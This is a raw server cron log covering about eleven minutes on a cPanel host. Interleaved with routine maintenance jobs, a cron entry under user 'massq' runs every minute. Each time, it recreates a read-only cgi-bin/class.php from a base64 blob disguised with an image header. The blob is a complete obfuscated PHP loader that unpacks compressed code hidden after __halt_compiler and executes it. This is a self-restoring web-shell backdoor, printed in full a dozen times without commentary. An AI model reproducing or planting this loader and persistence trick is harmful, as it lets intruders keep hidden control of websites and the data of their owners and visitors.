Sep  8 23:40:01 server CROND[7438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:40:01 server CROND[7440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:40:01 server CROND[7441]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:40:01 server CROND[7436]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:41:01 server CROND[8277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:41:01 server CROND[8278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:41:01 server CROND[8279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:42:01 server CROND[8865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:42:01 server CROND[8864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:42:01 server CROND[8867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:42:01 server CROND[8866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:43:01 server CROND[9385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:43:01 server CROND[9386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:43:01 server CROND[9387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:44:01 server CROND[9768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:44:01 server CROND[9769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:44:01 server CROND[9770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:45:01 server CROND[10409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:45:01 server CROND[10415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:45:01 server CROND[10423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:45:01 server CROND[10425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:45:01 server CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:45:01 server CROND[10427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:45:01 server CROND[10426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:46:01 server CROND[11910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:46:01 server CROND[11911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:46:01 server CROND[11912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:47:01 server CROND[12939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:47:01 server CROND[12941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:47:01 server CROND[12940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:48:01 server CROND[13981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:48:01 server CROND[13978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:48:01 server CROND[13979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:49:01 server CROND[14658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:49:01 server CROND[14659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:49:01 server CROND[14660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:50:01 server CROND[15036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:50:01 server CROND[15040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:50:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:50:01 server CROND[15044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:50:01 server CROND[15046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:50:01 server CROND[15043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:50:01 server CROND[15047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:50:01 server CROND[15045]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:50:01 server CROND[15048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:51:01 server CROND[15861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:51:01 server CROND[15862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:51:01 server CROND[15863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
